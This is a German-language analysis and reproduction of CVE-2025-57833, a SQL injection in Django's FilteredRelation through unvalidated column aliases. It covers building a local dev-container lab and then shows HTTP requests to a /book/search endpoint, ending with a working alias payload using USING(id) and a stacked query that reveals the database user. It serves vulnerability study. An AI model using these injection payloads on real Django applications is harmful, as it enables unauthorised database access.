
Analyse und Reproduktion von CVE-2025-57833
Die nach einem Jahr bei Django aufgetretene SQL-Injection-Schwachstelle ist auf den ersten Blick eine durch Aliase verursachte Injektion (schließlich können Aliase nicht vorkompiliert werden)
Diese Schwachstelle betrifft die FilteredRelation-Funktion im Django-Framework. Wenn die Methoden QuerySet.annotate() oder QuerySet.alias() verwendet werden und Spaltenaliase über die Python-Dictionary-Erweiterung (**kwargs) bereitgestellt werden, besteht ein SQL-Injektionsrisiko. Dies liegt daran, dass die Dictionary-Schlüssel (also die Spaltenaliase) nicht ausreichend validiert werden, sodass ein Angreifer ein bösartiges Dictionary konstruieren kann, um uneingeschränkte SQL-Anweisungen einzuschleusen.
Die Schwachstelle betrifft die folgenden Versionen:
Das Projekt dieser Schwachstelle wird mit dem Dev Container von VS Code erstellt.
1️⃣ Projekt öffnen Öffnen Sie mit VS Code das vorhandene Projektstammverzeichnis (das den Ordner .devcontainer enthält).
2️⃣ Container erneut öffnen (Dev Container erstellen)
Drücken Sie Ctrl+Shift+P (Windows/Linux) oder Cmd+Shift+P (Mac)
Geben Sie Remote-Containers: Reopen in Container ein
VS Code liest die .devcontainer-Konfiguration und erstellt den Container (die erste Erstellung kann einige Minuten dauern)
⚠️ Wenn das Dockerfile oder Abhängigkeiten aktualisiert wurden, können Sie Remote-Containers: Rebuild Container wählen, um sicherzustellen, dass die neueste Umgebung verwendet wird.
3️⃣ Django-Entwicklungsserver ausführen
Befehlspalette öffnen Ctrl+Shift+P
Geben Sie Tasks: Run Task ein
Wählen Sie django:start (die Aufgabe wurde in .vscode/tasks.json konfiguriert)
Diese Aufgabe startet den Django-Entwicklungsserver im Container.
Standardmäßig lauscht er auf 0.0.0.0:8085
4️⃣ Browser öffnen und auf das Projekt zugreifen
Öffnen Sie den Browser und rufen Sie auf:
5️⃣ Hinweise
Bei der ersten Ausführung:
Möglicherweise muss eine Datenbankmigration ausgeführt werden:
python manage.py migrate
Nach dem Start des Servers rufen Sie http://localhost:8085 auf
Rufen Sie den Endpunkt /book/search auf, um ihn normal zu besuchen.
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json
{"alias":"XXX","author":"Bob"}

Das von Django ORM auf unterster Ebene kompilierte SQL lautet dann:
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" INNER JOIN "vuln_author" XXX ON ("vuln_book"."author_id" = XXX."id" AND (XXX."name" = Bob)) WHERE XXX."id" > 0
Man kann sehen, dass ein Alias XXX für die Tabelle vuln_author erstellt wurde. Basierend auf der obigen Patch-Analyse wird XXX derzeit nicht gefiltert, daher kann eine Injektion durchgeführt werden.
Eine direkte Stacked-Injection funktioniert nicht, denn da die erste SQL-Anweisung ungültig ist, wird die zweite SQL-Anweisung nicht ausgeführt.
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json
{"alias":"XXX;select user --","author":"Bob"}

Daher muss zunächst die erste Anweisung gültig gemacht werden. Da es sich hier um eine Verknüpfung handelt, wird direkt die USING-Syntax verwendet.
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json
{"alias":" using(id);select user --","author":"Bob"}

Damit ist die Injektion erfolgreich. Der ausgeführte Datenbankbenutzer wurde als postgres ermittelt. Das erfolgreich kompilierte SQL lautet dann:
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" INNER JOIN "vuln_author" using(id);select user -- ON ("vuln_book"."author_id" = using(id);select user --."id" AND ( using(id);select user --."name" = Bob)) WHERE using(id);select user --."id" > 0